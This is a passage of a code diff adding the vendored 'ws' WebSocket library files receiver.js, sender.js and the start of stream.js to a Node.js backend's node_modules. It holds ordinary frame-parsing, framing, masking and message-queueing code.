class Receiver extends Writable {
|
||||
/**
|
||||
* Creates a Receiver instance.
|
||||
*
|
||||
* @param {Object} [options] Options object
|
||||
* @param {String} [options.binaryType=nodebuffer] The type for binary data
|
||||
* @param {Object} [options.extensions] An object containing the negotiated
|
||||
* extensions
|
||||
* @param {Boolean} [options.isServer=false] Specifies whether to operate in
|
||||
* client or server mode
|
||||
* @param {Number} [options.maxPayload=0] The maximum allowed message length
|
||||
* @param {Boolean} [options.skipUTF8Validation=false] Specifies whether or
|
||||
* not to skip UTF-8 validation for text and close messages
|
||||
*/
|
||||
constructor(options = {}) {
|
||||
super();
|
||||
|
||||
this._binaryType = options.binaryType || BINARY_TYPES[0];
|
||||
this._extensions = options.extensions || {};
|
||||
this._isServer = !!options.isServer;
|
||||
this._maxPayload = options.maxPayload | 0;
|
||||
this._skipUTF8Validation = !!options.skipUTF8Validation;
|
||||
this[kWebSocket] = undefined;
|
||||
|
||||
this._bufferedBytes = 0;
|
||||
this._buffers = [];
|
||||
|
||||
this._compressed = false;
|
||||
this._payloadLength = 0;
|
||||
this._mask = undefined;
|
||||
this._fragmented = 0;
|
||||
this._masked = false;
|
||||
this._fin = false;
|
||||
this._opcode = 0;
|
||||
|
||||
this._totalPayloadLength = 0;
|
||||
this._messageLength = 0;
|
||||
this._fragments = [];
|
||||
|
||||
this._state = GET_INFO;
|
||||
this._loop = false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Implements `Writable.prototype._write()`.
|
||||
*
|
||||
* @param {Buffer} chunk The chunk of data to write
|
||||
* @param {String} encoding The character encoding of `chunk`
|
||||
* @param {Function} cb Callback
|
||||
* @private
|
||||
*/
|
||||
_write(chunk, encoding, cb) {
|
||||
if (this._opcode === 0x08 && this._state == GET_INFO) return cb();
|
||||
|
||||
this._bufferedBytes += chunk.length;
|
||||
this._buffers.push(chunk);
|
||||
this.startLoop(cb);
|
||||
}
|
||||
|
||||
/**
|
||||
* Consumes `n` bytes from the buffered data.
|
||||
*
|
||||
* @param {Number} n The number of bytes to consume
|
||||
* @return {Buffer} The consumed bytes
|
||||
* @private
|
||||
*/
|
||||
consume(n) {
|
||||
this._bufferedBytes -= n;
|
||||
|
||||
if (n === this._buffers[0].length) return this._buffers.shift();
|
||||
|
||||
if (n < this._buffers[0].length) {
|
||||
const buf = this._buffers[0];
|
||||
this._buffers[0] = buf.slice(n);
|
||||
return buf.slice(0, n);
|
||||
}
|
||||
|
||||
const dst = Buffer.allocUnsafe(n);
|
||||
|
||||
do {
|
||||
const buf = this._buffers[0];
|
||||
const offset = dst.length - n;
|
||||
|
||||
if (n >= buf.length) {
|
||||
dst.set(this._buffers.shift(), offset);
|
||||
} else {
|
||||
dst.set(new Uint8Array(buf.buffer, buf.byteOffset, n), offset);
|
||||
this._buffers[0] = buf.slice(n);
|
||||
}
|
||||
|
||||
n -= buf.length;
|
||||
} while (n > 0);
|
||||
|
||||
return dst;
|
||||
}
|
||||
|
||||
/**
|
||||
* Starts the parsing loop.
|
||||
*
|
||||
* @param {Function} cb Callback
|
||||
* @private
|
||||
*/
|
||||
startLoop(cb) {
|
||||
let err;
|
||||
this._loop = true;
|
||||
|
||||
do {
|
||||
switch (this._state) {
|
||||
case GET_INFO:
|
||||
err = this.getInfo();
|
||||
break;
|
||||
case GET_PAYLOAD_LENGTH_16:
|
||||
err = this.getPayloadLength16();
|
||||
break;
|
||||
case GET_PAYLOAD_LENGTH_64:
|
||||
err = this.getPayloadLength64();
|
||||
break;
|
||||
case GET_MASK:
|
||||
this.getMask();
|
||||
break;
|
||||
case GET_DATA:
|
||||
err = this.getData(cb);
|
||||
break;
|
||||
default:
|
||||
// `INFLATING`
|
||||
this._loop = false;
|
||||
return;
|
||||
}
|
||||
} while (this._loop);
|
||||
|
||||
cb(err);
|
||||
}
|
||||
|
||||
/**
|
||||
* Reads the first two bytes of a frame.
|
||||
*
|
||||
* @return {(RangeError|undefined)} A possible error
|
||||
* @private
|
||||
*/
|
||||
getInfo() {
|
||||
if (this._bufferedBytes < 2) {
|
||||
this._loop = false;
|
||||
return;
|
||||
}
|
||||
|
||||
const buf = this.consume(2);
|
||||
|
||||
if ((buf[0] & 0x30) !== 0x00) {
|
||||
this._loop = false;
|
||||
return error(
|
||||
RangeError,
|
||||
'RSV2 and RSV3 must be clear',
|
||||
true,
|
||||
1002,
|
||||
'WS_ERR_UNEXPECTED_RSV_2_3'
|
||||
);
|
||||
}
|
||||
|
||||
const compressed = (buf[0] & 0x40) === 0x40;
|
||||
|
||||
if (compressed && !this._extensions[PerMessageDeflate.extensionName]) {
|
||||
this._loop = false;
|
||||
return error(
|
||||
RangeError,
|
||||
'RSV1 must be clear',
|
||||
true,
|
||||
1002,
|
||||
'WS_ERR_UNEXPECTED_RSV_1'
|
||||
);
|
||||
}
|
||||
|
||||
this._fin = (buf[0] & 0x80) === 0x80;
|
||||
this._opcode = buf[0] & 0x0f;
|
||||
this._payloadLength = buf[1] & 0x7f;
|
||||
|
||||
if (this._opcode === 0x00) {
|
||||
if (compressed) {
|
||||
this._loop = false;
|
||||
return error(
|
||||
RangeError,
|
||||
'RSV1 must be clear',
|
||||
true,
|
||||
1002,
|
||||
'WS_ERR_UNEXPECTED_RSV_1'
|
||||
);
|
||||
}
|
||||
|
||||
if (!this._fragmented) {
|
||||
this._loop = false;
|
||||
return error(
|
||||
RangeError,
|
||||
'invalid opcode 0',
|
||||
true,
|
||||
1002,
|
||||
'WS_ERR_INVALID_OPCODE'
|
||||
);
|
||||
}
|
||||
|
||||
this._opcode = this._fragmented;
|
||||
} else if (this._opcode === 0x01 || this._opcode === 0x02) {
|
||||
if (this._fragmented) {
|
||||
this._loop = false;
|
||||
return error(
|
||||
RangeError,
|
||||
`invalid opcode ${this._opcode}`,
|
||||
true,
|
||||
1002,
|
||||
'WS_ERR_INVALID_OPCODE'
|
||||
);
|
||||
}
|
||||
|
||||
this._compressed = compressed;
|
||||
} else if (this._opcode > 0x07 && this._opcode < 0x0b) {
|
||||
if (!this._fin) {
|
||||
this._loop = false;
|
||||
return error(
|
||||
RangeError,
|
||||
'FIN must be set',
|
||||
true,
|
||||
1002,
|
||||
'WS_ERR_EXPECTED_FIN'
|
||||
);
|
||||
}
|
||||
|
||||
if (compressed) {
|
||||
this._loop = false;
|
||||
return error(
|
||||
RangeError,
|
||||
'RSV1 must be clear',
|
||||
true,
|
||||
1002,
|
||||
'WS_ERR_UNEXPECTED_RSV_1'
|
||||
);
|
||||
}
|
||||
|
||||
if (this._payloadLength > 0x7d) {
|
||||
this._loop = false;
|
||||
return error(
|
||||
RangeError,
|
||||
`invalid payload length ${this._payloadLength}`,
|
||||
true,
|
||||
1002,
|
||||
'WS_ERR_INVALID_CONTROL_PAYLOAD_LENGTH'
|
||||
);
|
||||
}
|
||||
} else {
|
||||
this._loop = false;
|
||||
return error(
|
||||
RangeError,
|
||||
`invalid opcode ${this._opcode}`,
|
||||
true,
|
||||
1002,
|
||||
'WS_ERR_INVALID_OPCODE'
|
||||
);
|
||||
}
|
||||
|
||||
if (!this._fin && !this._fragmented) this._fragmented = this._opcode;
|
||||
this._masked = (buf[1] & 0x80) === 0x80;
|
||||
|
||||
if (this._isServer) {
|
||||
if (!this._masked) {
|
||||
this._loop = false;
|
||||
return error(
|
||||
RangeError,
|
||||
'MASK must be set',
|
||||
true,
|
||||
1002,
|
||||
'WS_ERR_EXPECTED_MASK'
|
||||
);
|
||||
}
|
||||
} else if (this._masked) {
|
||||
this._loop = false;
|
||||
return error(
|
||||
RangeError,
|
||||
'MASK must be clear',
|
||||
true,
|
||||
1002,
|
||||
'WS_ERR_UNEXPECTED_MASK'
|
||||
);
|
||||
}
|
||||
|
||||
if (this._payloadLength === 126) this._state = GET_PAYLOAD_LENGTH_16;
|
||||
else if (this._payloadLength === 127) this._state = GET_PAYLOAD_LENGTH_64;
|
||||
else return this.haveLength();
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets extended payload length (7+16).
|
||||
*
|
||||
* @return {(RangeError|undefined)} A possible error
|
||||
* @private
|
||||
*/
|
||||
getPayloadLength16() {
|
||||
if (this._bufferedBytes < 2) {
|
||||
this._loop = false;
|
||||
return;
|
||||
}
|
||||
|
||||
this._payloadLength = this.consume(2).readUInt16BE(0);
|
||||
return this.haveLength();
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets extended payload length (7+64).
|
||||
*
|
||||
* @return {(RangeError|undefined)} A possible error
|
||||
* @private
|
||||
*/
|
||||
getPayloadLength64() {
|
||||
if (this._bufferedBytes < 8) {
|
||||
this._loop = false;
|
||||
return;
|
||||
}
|
||||
|
||||
const buf = this.consume(8);
|
||||
const num = buf.readUInt32BE(0);
|
||||
|
||||
//
|
||||
// The maximum safe integer in JavaScript is 2^53 - 1. An error is returned
|
||||
// if payload length is greater than this number.
|
||||
//
|
||||
if (num > Math.pow(2, 53 - 32) - 1) {
|
||||
this._loop = false;
|
||||
return error(
|
||||
RangeError,
|
||||
'Unsupported WebSocket frame: payload length > 2^53 - 1',
|
||||
false,
|
||||
1009,
|
||||
'WS_ERR_UNSUPPORTED_DATA_PAYLOAD_LENGTH'
|
||||
);
|
||||
}
|
||||
|
||||
this._payloadLength = num * Math.pow(2, 32) + buf.readUInt32BE(4);
|
||||
return this.haveLength();
|
||||
}
|
||||
|
||||
/**
|
||||
* Payload length has been read.
|
||||
*
|
||||
* @return {(RangeError|undefined)} A possible error
|
||||
* @private
|
||||
*/
|
||||
haveLength() {
|
||||
if (this._payloadLength && this._opcode < 0x08) {
|
||||
this._totalPayloadLength += this._payloadLength;
|
||||
if (this._totalPayloadLength > this._maxPayload && this._maxPayload > 0) {
|
||||
this._loop = false;
|
||||
return error(
|
||||
RangeError,
|
||||
'Max payload size exceeded',
|
||||
false,
|
||||
1009,
|
||||
'WS_ERR_UNSUPPORTED_MESSAGE_LENGTH'
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
if (this._masked) this._state = GET_MASK;
|
||||
else this._state = GET_DATA;
|
||||
}
|
||||
|
||||
/**
|
||||
* Reads mask bytes.
|
||||
*
|
||||
* @private
|
||||
*/
|
||||
getMask() {
|
||||
if (this._bufferedBytes < 4) {
|
||||
this._loop = false;
|
||||
return;
|
||||
}
|
||||
|
||||
this._mask = this.consume(4);
|
||||
this._state = GET_DATA;
|
||||
}
|
||||
|
||||
/**
|
||||
* Reads data bytes.
|
||||
*
|
||||
* @param {Function} cb Callback
|
||||
* @return {(Error|RangeError|undefined)} A possible error
|
||||
* @private
|
||||
*/
|
||||
getData(cb) {
|
||||
let data = EMPTY_BUFFER;
|
||||
|
||||
if (this._payloadLength) {
|
||||
if (this._bufferedBytes < this._payloadLength) {
|
||||
this._loop = false;
|
||||
return;
|
||||
}
|
||||
|
||||
data = this.consume(this._payloadLength);
|
||||
if (this._masked) unmask(data, this._mask);
|
||||
}
|
||||
|
||||
if (this._opcode > 0x07) return this.controlMessage(data);
|
||||
|
||||
if (this._compressed) {
|
||||
this._state = INFLATING;
|
||||
this.decompress(data, cb);
|
||||
return;
|
||||
}
|
||||
|
||||
if (data.length) {
|
||||
//
|
||||
// This message is not compressed so its length is the sum of the payload
|
||||
// length of all fragments.
|
||||
//
|
||||
this._messageLength = this._totalPayloadLength;
|
||||
this._fragments.push(data);
|
||||
}
|
||||
|
||||
return this.dataMessage();
|
||||
}
|
||||
|
||||
/**
|
||||
* Decompresses data.
|
||||
*
|
||||
* @param {Buffer} data Compressed data
|
||||
* @param {Function} cb Callback
|
||||
* @private
|
||||
*/
|
||||
decompress(data, cb) {
|
||||
const perMessageDeflate = this._extensions[PerMessageDeflate.extensionName];
|
||||
|
||||
perMessageDeflate.decompress(data, this._fin, (err, buf) => {
|
||||
if (err) return cb(err);
|
||||
|
||||
if (buf.length) {
|
||||
this._messageLength += buf.length;
|
||||
if (this._messageLength > this._maxPayload && this._maxPayload > 0) {
|
||||
return cb(
|
||||
error(
|
||||
RangeError,
|
||||
'Max payload size exceeded',
|
||||
false,
|
||||
1009,
|
||||
'WS_ERR_UNSUPPORTED_MESSAGE_LENGTH'
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
this._fragments.push(buf);
|
||||
}
|
||||
|
||||
const er = this.dataMessage();
|
||||
if (er) return cb(er);
|
||||
|
||||
this.startLoop(cb);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Handles a data message.
|
||||
*
|
||||
* @return {(Error|undefined)} A possible error
|
||||
* @private
|
||||
*/
|
||||
dataMessage() {
|
||||
if (this._fin) {
|
||||
const messageLength = this._messageLength;
|
||||
const fragments = this._fragments;
|
||||
|
||||
this._totalPayloadLength = 0;
|
||||
this._messageLength = 0;
|
||||
this._fragmented = 0;
|
||||
this._fragments = [];
|
||||
|
||||
if (this._opcode === 2) {
|
||||
let data;
|
||||
|
||||
if (this._binaryType === 'nodebuffer') {
|
||||
data = concat(fragments, messageLength);
|
||||
} else if (this._binaryType === 'arraybuffer') {
|
||||
data = toArrayBuffer(concat(fragments, messageLength));
|
||||
} else {
|
||||
data = fragments;
|
||||
}
|
||||
|
||||
this.emit('message', data, true);
|
||||
} else {
|
||||
const buf = concat(fragments, messageLength);
|
||||
|
||||
if (!this._skipUTF8Validation && !isValidUTF8(buf)) {
|
||||
this._loop = false;
|
||||
return error(
|
||||
Error,
|
||||
'invalid UTF-8 sequence',
|
||||
true,
|
||||
1007,
|
||||
'WS_ERR_INVALID_UTF8'
|
||||
);
|
||||
}
|
||||
|
||||
this.emit('message', buf, false);
|
||||
}
|
||||
}
|
||||
|
||||
this._state = GET_INFO;
|
||||
}
|
||||
|
||||
/**
|
||||
* Handles a control message.
|
||||
*
|
||||
* @param {Buffer} data Data to handle
|
||||
* @return {(Error|RangeError|undefined)} A possible error
|
||||
* @private
|
||||
*/
|
||||
controlMessage(data) {
|
||||
if (this._opcode === 0x08) {
|
||||
this._loop = false;
|
||||
|
||||
if (data.length === 0) {
|
||||
this.emit('conclude', 1005, EMPTY_BUFFER);
|
||||
this.end();
|
||||
} else if (data.length === 1) {
|
||||
return error(
|
||||
RangeError,
|
||||
'invalid payload length 1',
|
||||
true,
|
||||
1002,
|
||||
'WS_ERR_INVALID_CONTROL_PAYLOAD_LENGTH'
|
||||
);
|
||||
} else {
|
||||
const code = data.readUInt16BE(0);
|
||||
|
||||
if (!isValidStatusCode(code)) {
|
||||
return error(
|
||||
RangeError,
|
||||
`invalid status code ${code}`,
|
||||
true,
|
||||
1002,
|
||||
'WS_ERR_INVALID_CLOSE_CODE'
|
||||
);
|
||||
}
|
||||
|
||||
const buf = data.slice(2);
|
||||
|
||||
if (!this._skipUTF8Validation && !isValidUTF8(buf)) {
|
||||
return error(
|
||||
Error,
|
||||
'invalid UTF-8 sequence',
|
||||
true,
|
||||
1007,
|
||||
'WS_ERR_INVALID_UTF8'
|
||||
);
|
||||
}
|
||||
|
||||
this.emit('conclude', code, buf);
|
||||
this.end();
|
||||
}
|
||||
} else if (this._opcode === 0x09) {
|
||||
this.emit('ping', data);
|
||||
} else {
|
||||
this.emit('pong', data);
|
||||
}
|
||||
|
||||
this._state = GET_INFO;
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = Receiver;
|
||||
|
||||
/**
|
||||
* Builds an error object.
|
||||
*
|
||||
* @param {function(new:Error|RangeError)} ErrorCtor The error constructor
|
||||
* @param {String} message The error message
|
||||
* @param {Boolean} prefix Specifies whether or not to add a default prefix to
|
||||
* `message`
|
||||
* @param {Number} statusCode The status code
|
||||
* @param {String} errorCode The exposed error code
|
||||
* @return {(Error|RangeError)} The error
|
||||
* @private
|
||||
*/
|
||||
function error(ErrorCtor, message, prefix, statusCode, errorCode) {
|
||||
const err = new ErrorCtor(
|
||||
prefix ? `Invalid WebSocket frame: ${message}` : message
|
||||
);
|
||||
|
||||
Error.captureStackTrace(err, error);
|
||||
err.code = errorCode;
|
||||
err[kStatusCode] = statusCode;
|
||||
return err;
|
||||
}
|
422
rng_farm/backend/node_modules/ws/lib/sender.js
generated
vendored
Normal file
422
rng_farm/backend/node_modules/ws/lib/sender.js
generated
vendored
Normal file
@ -0,0 +1,422 @@
|
||||
/* eslint no-unused-vars: ["error", { "varsIgnorePattern": "^net|tls$" }] */
|
||||
|
||||
'use strict';
|
||||
|
||||
const net = require('net');
|
||||
const tls = require('tls');
|
||||
const { randomFillSync } = require('crypto');
|
||||
|
||||
const PerMessageDeflate = require('./permessage-deflate');
|
||||
const { EMPTY_BUFFER } = require('./constants');
|
||||
const { isValidStatusCode } = require('./validation');
|
||||
const { mask: applyMask, toBuffer } = require('./buffer-util');
|
||||
|
||||
const mask = Buffer.alloc(4);
|
||||
|
||||
/**
|
||||
* HyBi Sender implementation.
|
||||
*/
|
||||
class Sender {
|
||||
/**
|
||||
* Creates a Sender instance.
|
||||
*
|
||||
* @param {(net.Socket|tls.Socket)} socket The connection socket
|
||||
* @param {Object} [extensions] An object containing the negotiated extensions
|
||||
*/
|
||||
constructor(socket, extensions) {
|
||||
this._extensions = extensions || {};
|
||||
this._socket = socket;
|
||||
|
||||
this._firstFragment = true;
|
||||
this._compress = false;
|
||||
|
||||
this._bufferedBytes = 0;
|
||||
this._deflating = false;
|
||||
this._queue = [];
|
||||
}
|
||||
|
||||
/**
|
||||
* Frames a piece of data according to the HyBi WebSocket protocol.
|
||||
*
|
||||
* @param {Buffer} data The data to frame
|
||||
* @param {Object} options Options object
|
||||
* @param {Boolean} [options.fin=false] Specifies whether or not to set the
|
||||
* FIN bit
|
||||
* @param {Boolean} [options.mask=false] Specifies whether or not to mask
|
||||
* `data`
|
||||
* @param {Number} options.opcode The opcode
|
||||
* @param {Boolean} [options.readOnly=false] Specifies whether `data` can be
|
||||
* modified
|
||||
* @param {Boolean} [options.rsv1=false] Specifies whether or not to set the
|
||||
* RSV1 bit
|
||||
* @return {Buffer[]} The framed data as a list of `Buffer` instances
|
||||
* @public
|
||||
*/
|
||||
static frame(data, options) {
|
||||
const merge = options.mask && options.readOnly;
|
||||
let offset = options.mask ? 6 : 2;
|
||||
let payloadLength = data.length;
|
||||
|
||||
if (data.length >= 65536) {
|
||||
offset += 8;
|
||||
payloadLength = 127;
|
||||
} else if (data.length > 125) {
|
||||
offset += 2;
|
||||
payloadLength = 126;
|
||||
}
|
||||
|
||||
const target = Buffer.allocUnsafe(merge ? data.length + offset : offset);
|
||||
|
||||
target[0] = options.fin ? options.opcode | 0x80 : options.opcode;
|
||||
if (options.rsv1) target[0] |= 0x40;
|
||||
|
||||
target[1] = payloadLength;
|
||||
|
||||
if (payloadLength === 126) {
|
||||
target.writeUInt16BE(data.length, 2);
|
||||
} else if (payloadLength === 127) {
|
||||
target.writeUInt32BE(0, 2);
|
||||
target.writeUInt32BE(data.length, 6);
|
||||
}
|
||||
|
||||
if (!options.mask) return [target, data];
|
||||
|
||||
randomFillSync(mask, 0, 4);
|
||||
|
||||
target[1] |= 0x80;
|
||||
target[offset - 4] = mask[0];
|
||||
target[offset - 3] = mask[1];
|
||||
target[offset - 2] = mask[2];
|
||||
target[offset - 1] = mask[3];
|
||||
|
||||
if (merge) {
|
||||
applyMask(data, mask, target, offset, data.length);
|
||||
return [target];
|
||||
}
|
||||
|
||||
applyMask(data, mask, data, 0, data.length);
|
||||
return [target, data];
|
||||
}
|
||||
|
||||
/**
|
||||
* Sends a close message to the other peer.
|
||||
*
|
||||
* @param {Number} [code] The status code component of the body
|
||||
* @param {(String|Buffer)} [data] The message component of the body
|
||||
* @param {Boolean} [mask=false] Specifies whether or not to mask the message
|
||||
* @param {Function} [cb] Callback
|
||||
* @public
|
||||
*/
|
||||
close(code, data, mask, cb) {
|
||||
let buf;
|
||||
|
||||
if (code === undefined) {
|
||||
buf = EMPTY_BUFFER;
|
||||
} else if (typeof code !== 'number' || !isValidStatusCode(code)) {
|
||||
throw new TypeError('First argument must be a valid error code number');
|
||||
} else if (data === undefined || !data.length) {
|
||||
buf = Buffer.allocUnsafe(2);
|
||||
buf.writeUInt16BE(code, 0);
|
||||
} else {
|
||||
const length = Buffer.byteLength(data);
|
||||
|
||||
if (length > 123) {
|
||||
throw new RangeError('The message must not be greater than 123 bytes');
|
||||
}
|
||||
|
||||
buf = Buffer.allocUnsafe(2 + length);
|
||||
buf.writeUInt16BE(code, 0);
|
||||
|
||||
if (typeof data === 'string') {
|
||||
buf.write(data, 2);
|
||||
} else {
|
||||
buf.set(data, 2);
|
||||
}
|
||||
}
|
||||
|
||||
if (this._deflating) {
|
||||
this.enqueue([this.doClose, buf, mask, cb]);
|
||||
} else {
|
||||
this.doClose(buf, mask, cb);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Frames and sends a close message.
|
||||
*
|
||||
* @param {Buffer} data The message to send
|
||||
* @param {Boolean} [mask=false] Specifies whether or not to mask `data`
|
||||
* @param {Function} [cb] Callback
|
||||
* @private
|
||||
*/
|
||||
doClose(data, mask, cb) {
|
||||
this.sendFrame(
|
||||
Sender.frame(data, {
|
||||
fin: true,
|
||||
rsv1: false,
|
||||
opcode: 0x08,
|
||||
mask,
|
||||
readOnly: false
|
||||
}),
|
||||
cb
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Sends a ping message to the other peer.
|
||||
*
|
||||
* @param {*} data The message to send
|
||||
* @param {Boolean} [mask=false] Specifies whether or not to mask `data`
|
||||
* @param {Function} [cb] Callback
|
||||
* @public
|
||||
*/
|
||||
ping(data, mask, cb) {
|
||||
const buf = toBuffer(data);
|
||||
|
||||
if (buf.length > 125) {
|
||||
throw new RangeError('The data size must not be greater than 125 bytes');
|
||||
}
|
||||
|
||||
if (this._deflating) {
|
||||
this.enqueue([this.doPing, buf, mask, toBuffer.readOnly, cb]);
|
||||
} else {
|
||||
this.doPing(buf, mask, toBuffer.readOnly, cb);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Frames and sends a ping message.
|
||||
*
|
||||
* @param {Buffer} data The message to send
|
||||
* @param {Boolean} [mask=false] Specifies whether or not to mask `data`
|
||||
* @param {Boolean} [readOnly=false] Specifies whether `data` can be modified
|
||||
* @param {Function} [cb] Callback
|
||||
* @private
|
||||
*/
|
||||
doPing(data, mask, readOnly, cb) {
|
||||
this.sendFrame(
|
||||
Sender.frame(data, {
|
||||
fin: true,
|
||||
rsv1: false,
|
||||
opcode: 0x09,
|
||||
mask,
|
||||
readOnly
|
||||
}),
|
||||
cb
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Sends a pong message to the other peer.
|
||||
*
|
||||
* @param {*} data The message to send
|
||||
* @param {Boolean} [mask=false] Specifies whether or not to mask `data`
|
||||
* @param {Function} [cb] Callback
|
||||
* @public
|
||||
*/
|
||||
pong(data, mask, cb) {
|
||||
const buf = toBuffer(data);
|
||||
|
||||
if (buf.length > 125) {
|
||||
throw new RangeError('The data size must not be greater than 125 bytes');
|
||||
}
|
||||
|
||||
if (this._deflating) {
|
||||
this.enqueue([this.doPong, buf, mask, toBuffer.readOnly, cb]);
|
||||
} else {
|
||||
this.doPong(buf, mask, toBuffer.readOnly, cb);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Frames and sends a pong message.
|
||||
*
|
||||
* @param {Buffer} data The message to send
|
||||
* @param {Boolean} [mask=false] Specifies whether or not to mask `data`
|
||||
* @param {Boolean} [readOnly=false] Specifies whether `data` can be modified
|
||||
* @param {Function} [cb] Callback
|
||||
* @private
|
||||
*/
|
||||
doPong(data, mask, readOnly, cb) {
|
||||
this.sendFrame(
|
||||
Sender.frame(data, {
|
||||
fin: true,
|
||||
rsv1: false,
|
||||
opcode: 0x0a,
|
||||
mask,
|
||||
readOnly
|
||||
}),
|
||||
cb
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Sends a data message to the other peer.
|
||||
*
|
||||
* @param {*} data The message to send
|
||||
* @param {Object} options Options object
|
||||
* @param {Boolean} [options.binary=false] Specifies whether `data` is binary
|
||||
* or text
|
||||
* @param {Boolean} [options.compress=false] Specifies whether or not to
|
||||
* compress `data`
|
||||
* @param {Boolean} [options.fin=false] Specifies whether the fragment is the
|
||||
* last one
|
||||
* @param {Boolean} [options.mask=false] Specifies whether or not to mask
|
||||
* `data`
|
||||
* @param {Function} [cb] Callback
|
||||
* @public
|
||||
*/
|
||||
send(data, options, cb) {
|
||||
const buf = toBuffer(data);
|
||||
const perMessageDeflate = this._extensions[PerMessageDeflate.extensionName];
|
||||
let opcode = options.binary ? 2 : 1;
|
||||
let rsv1 = options.compress;
|
||||
|
||||
if (this._firstFragment) {
|
||||
this._firstFragment = false;
|
||||
if (
|
||||
rsv1 &&
|
||||
perMessageDeflate &&
|
||||
perMessageDeflate.params[
|
||||
perMessageDeflate._isServer
|
||||
? 'server_no_context_takeover'
|
||||
: 'client_no_context_takeover'
|
||||
]
|
||||
) {
|
||||
rsv1 = buf.length >= perMessageDeflate._threshold;
|
||||
}
|
||||
this._compress = rsv1;
|
||||
} else {
|
||||
rsv1 = false;
|
||||
opcode = 0;
|
||||
}
|
||||
|
||||
if (options.fin) this._firstFragment = true;
|
||||
|
||||
if (perMessageDeflate) {
|
||||
const opts = {
|
||||
fin: options.fin,
|
||||
rsv1,
|
||||
opcode,
|
||||
mask: options.mask,
|
||||
readOnly: toBuffer.readOnly
|
||||
};
|
||||
|
||||
if (this._deflating) {
|
||||
this.enqueue([this.dispatch, buf, this._compress, opts, cb]);
|
||||
} else {
|
||||
this.dispatch(buf, this._compress, opts, cb);
|
||||
}
|
||||
} else {
|
||||
this.sendFrame(
|
||||
Sender.frame(buf, {
|
||||
fin: options.fin,
|
||||
rsv1: false,
|
||||
opcode,
|
||||
mask: options.mask,
|
||||
readOnly: toBuffer.readOnly
|
||||
}),
|
||||
cb
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Dispatches a data message.
|
||||
*
|
||||
* @param {Buffer} data The message to send
|
||||
* @param {Boolean} [compress=false] Specifies whether or not to compress
|
||||
* `data`
|
||||
* @param {Object} options Options object
|
||||
* @param {Number} options.opcode The opcode
|
||||
* @param {Boolean} [options.fin=false] Specifies whether or not to set the
|
||||
* FIN bit
|
||||
* @param {Boolean} [options.mask=false] Specifies whether or not to mask
|
||||
* `data`
|
||||
* @param {Boolean} [options.readOnly=false] Specifies whether `data` can be
|
||||
* modified
|
||||
* @param {Boolean} [options.rsv1=false] Specifies whether or not to set the
|
||||
* RSV1 bit
|
||||
* @param {Function} [cb] Callback
|
||||
* @private
|
||||
*/
|
||||
dispatch(data, compress, options, cb) {
|
||||
if (!compress) {
|
||||
this.sendFrame(Sender.frame(data, options), cb);
|
||||
return;
|
||||
}
|
||||
|
||||
const perMessageDeflate = this._extensions[PerMessageDeflate.extensionName];
|
||||
|
||||
this._bufferedBytes += data.length;
|
||||
this._deflating = true;
|
||||
perMessageDeflate.compress(data, options.fin, (_, buf) => {
|
||||
if (this._socket.destroyed) {
|
||||
const err = new Error(
|
||||
'The socket was closed while data was being compressed'
|
||||
);
|
||||
|
||||
if (typeof cb === 'function') cb(err);
|
||||
|
||||
for (let i = 0; i < this._queue.length; i++) {
|
||||
const callback = this._queue[i][4];
|
||||
|
||||
if (typeof callback === 'function') callback(err);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
this._bufferedBytes -= data.length;
|
||||
this._deflating = false;
|
||||
options.readOnly = false;
|
||||
this.sendFrame(Sender.frame(buf, options), cb);
|
||||
this.dequeue();
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Executes queued send operations.
|
||||
*
|
||||
* @private
|
||||
*/
|
||||
dequeue() {
|
||||
while (!this._deflating && this._queue.length) {
|
||||
const params = this._queue.shift();
|
||||
|
||||
this._bufferedBytes -= params[1].length;
|
||||
Reflect.apply(params[0], this, params.slice(1));
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Enqueues a send operation.
|
||||
*
|
||||
* @param {Array} params Send operation parameters.
|
||||
* @private
|
||||
*/
|
||||
enqueue(params) {
|
||||
this._bufferedBytes += params[1].length;
|
||||
this._queue.push(params);
|
||||
}
|
||||
|
||||
/**
|
||||
* Sends a frame.
|
||||
*
|
||||
* @param {Buffer[]} list The frame to send
|
||||
* @param {Function} [cb] Callback
|
||||
* @private
|
||||
*/
|
||||
sendFrame(list, cb) {
|
||||
if (list.length === 2) {
|
||||
this._socket.cork();
|
||||
this._socket.write(list[0]);
|
||||
this._socket.write(list[1], cb);
|
||||
this._socket.uncork();
|
||||
} else {
|
||||
this._socket.write(list[0], cb);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = Sender;
|
180
rng_farm/backend/node_modules/ws/lib/stream.js
generated
vendored
Normal file
180
rng_farm/backend/node_modules/ws/lib/stream.js
generated
vendored
Normal file
@ -0,0 +1,180 @@
|
||||
'use strict';
|
||||
|
||||
const { Duplex } = require('stream');
|
||||
|
||||
/**
|
||||
* Emits the `'close'` event on a stream.
|
||||
*
|
||||
* @param {Duplex} stream The stream.
|
||||
* @private
|
||||
*/
|
||||
function emitClose(stream) {
|
||||
stream.emit('close');
|
||||
}
|
||||
|
||||
/**
|
||||
* The listener of the `'end'` event.
|
||||
*
|
||||
* @private
|
||||
*/
|
||||
function duplexOnEnd() {
|
||||
if (!this.destroyed && this._writableState.finished) {
|
||||
this.destroy();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* The listener of the `'error'` event.
|
||||
*
|
||||
* @param {Error} err The error
|
||||
* @private
|
||||
*/
|
||||
function duplexOnError(err) {
|
||||
this.removeListener('error', duplexOnError);
|
||||
this.destroy();
|
||||
if (this.listenerCount('error') === 0) {
|
||||
// Do not suppress the throwing behavior.
|
||||
this.emit('error', err);
|
||||
}
|
